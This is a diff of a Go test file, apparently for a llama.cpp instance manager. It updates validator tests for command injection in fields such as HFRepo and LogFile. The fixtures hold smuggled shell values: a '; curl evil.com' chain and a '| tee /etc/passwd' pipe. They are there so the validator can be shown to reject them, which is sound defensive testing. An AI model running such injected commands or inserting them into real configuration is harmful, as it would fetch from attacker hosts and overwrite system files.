||||||
options: &instance.CreateInstanceOptions{
|
options: &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "safe.gguf",
|
Model: "safe.gguf",
|
||||||
HFRepo: "microsoft/model; curl evil.com",
|
HFRepo: "microsoft/model; curl evil.com",
|
||||||
},
|
},
|
||||||
@@ -206,7 +211,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
|
|||||||
{
|
{
|
||||||
name: "injection in log file",
|
name: "injection in log file",
|
||||||
options: &instance.CreateInstanceOptions{
|
options: &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "safe.gguf",
|
Model: "safe.gguf",
|
||||||
LogFile: "/tmp/log.txt | tee /etc/passwd",
|
LogFile: "/tmp/log.txt | tee /etc/passwd",
|
||||||
},
|
},
|
||||||
@@ -216,7 +222,8 @@ func TestValidateInstanceOptions_MultipleFieldInjection(t *testing.T) {
|
|||||||
{
|
{
|
||||||
name: "all safe fields",
|
name: "all safe fields",
|
||||||
options: &instance.CreateInstanceOptions{
|
options: &instance.CreateInstanceOptions{
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Model: "/path/to/model.gguf",
|
Model: "/path/to/model.gguf",
|
||||||
HFRepo: "microsoft/DialoGPT-medium",
|
HFRepo: "microsoft/DialoGPT-medium",
|
||||||
LogFile: "/tmp/llama.log",
|
LogFile: "/tmp/llama.log",
|
||||||
@@ -244,7 +251,8 @@ func TestValidateInstanceOptions_NonStringFields(t *testing.T) {
|
|||||||
AutoRestart: testutil.BoolPtr(true),
|
AutoRestart: testutil.BoolPtr(true),
|
||||||
MaxRestarts: testutil.IntPtr(5),
|
MaxRestarts: testutil.IntPtr(5),
|
||||||
RestartDelay: testutil.IntPtr(10),
|
RestartDelay: testutil.IntPtr(10),
|
||||||
LlamaServerOptions: llamacpp.LlamaServerOptions{
|
BackendType: backends.BackendTypeLlamaCpp,
|
||||||
|
LlamaServerOptions: &llamacpp.LlamaServerOptions{
|
||||||
Port: 8080,
|
Port: 8080,
|
||||||
GPULayers: 32,
|
GPULayers: 32,
|
||||||
CtxSize: 4096,
|
CtxSize: 4096,
|
||||||
|
|||||||
Reference in New Issue
Block a user